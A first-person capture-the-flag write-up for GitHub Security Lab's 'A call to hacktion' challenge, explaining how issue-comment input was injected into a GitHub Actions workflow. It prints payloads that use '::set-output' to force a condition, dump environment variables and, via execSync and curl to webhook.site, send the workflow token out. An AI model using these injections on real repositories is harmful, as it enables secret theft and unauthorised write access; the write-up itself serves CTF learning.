"A call to hacktion, a GitHub workflow CTF" is a single level challenge based around GitHub Workflow best practices and an interesting vulnerability pattern that GitHub Security teams have seen out in the real world.

To solve the game, you will have to elevate your privileges from read-only to full write access on a designated game repository!

Okay, so we know that this challenge resolves around the GitHub Workflow, the vulnerability is probably in the workflow file.

As it was my first time working with GitHub workflow, I needed to understand how GitHub workflow works. I googled the workflow syntax for github actions to understand the workflow configuration.

https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions

After reading the syntax, I realised this this workflow will the process describe in the workflow configuration when there is a new comment on an issue. With that knowledge, I figured that I should create a new issue and play around and see the logs on the workflow.

Then I proceed to make a new comment under the newly created issue, "test issue". I noticed that an action was ran after my comment, so I clicked on the action and tried to see the log.

So I realised that my comment is a user input that I can control, which may or may not be the vulnerability. As this is my only lead, I went ahead and googled more GitHub actions workflow related stuff, and I came across a GitHub Security Lab blog post about untrusted input.

https://securitylab.github.com/research/github-actions-untrusted-input

Looking at the workflow file again, I see that my input (comment_body), is flows to 

. My first initial thought is that I could potential inject javascript code here. To test my theory, I tried inputting quotes, 

And did it work? Of course that didn’t work, it would have been too easy if it did. Afterwards, I thought to try out some of the steps written in the GitHub Security Lab blog post about untrusted input. I tried template injection, but that didn’t work as there is no template here.

Sadly, I was stuck here for a long time, just spamming and hoping for an error to pop out. I decided to continue googling GitHub actions/workflow, to see if I could find anything of interest.

Which somehow, I did. I found out that there is something called “workflow command”, not sure what that is, I read the website and noticed that a workflow command was passed in a 

. I tried doing the same thing just to see what will happen.

https://docs.github.com/en/actions/reference/workflow-commands-for-github-actions

. This workflow command create environment variables named STATE_processID with the value of 12345. I thought that this command could modify the COMMENT_ID, so I replace “processID” with “COMMENT_ID”. Spoiler alert, it didn’t. Why not? That’s because this command created an environment variable and prepend “STATE_“.

Back to the workflow file again, I noticed that if I wanted the next step to run, the comment_log needed to output the COMMENT_ID, right? 

 is actually just the value of the output from the comment_log step.

With that, I’m going to skip my painstaking redundant effort to try to get “COMMENT_BODY” to be the value of “COMMENT_ID”.

::set-output name=action_fruit::strawberry

. This workflow command set the value output of “action_fruit” to “strawberry”. Understanding this command, I tried to set the output value of comment_log, “COMMENT_ID” to “true” after learning that expression in the 

 statement will be evaluated as an expression.

. Finally, I started to see progress. Quickly, I know that command injection is possible, as this input is treated as an expression as part of the variable declaration.

Time to print out the environment variables, which contains the GITHUB TOKEN for READ/WRITE access according to the GitHub workflow documentation. My input: 

::set-output name=COMMENT_ID::true ;console.log(process.env);

However, the GitHub token is masked, therefore we cannot just see it. Also, later on, I would realised the the token is only valid while the action is being run. Therefore, even if I could copy and token, it would be useless later.

I then used some website to receive request, thinking that I could append the token as part of the URL, just to validate the token exists. My input: 

::set-output name=COMMENT_ID::true ;const execSync = require('child_process').execSync; code = execSync('curl https://webhook.site/REDACTED?token=' + process.env["INPUT_GITHUB-TOKEN"]);

. I did the same for “ACTIONS_RUNTIME_TOKEN”.

After verifying that the token exists, all I had to do is to make a request using GitHub API with the token to commit to the “README.md” file. I spent quite a few time researching the API but the solution is below.

https://github.blog/2021-03-22-github-ctf-results/

The results website shows a different step taken to solve this challenge, go ahead and read it as I think it’s nicer and cleaner solution overall compared to mine.

GitHub Security Lab, Capture The Flag. “A call to hacktion, a GitHub workflow CTF” is a single level challenge based around GitHub Workflow best practices and an interesting vulnerability pattern that GitHub Security teams have seen out in the real world.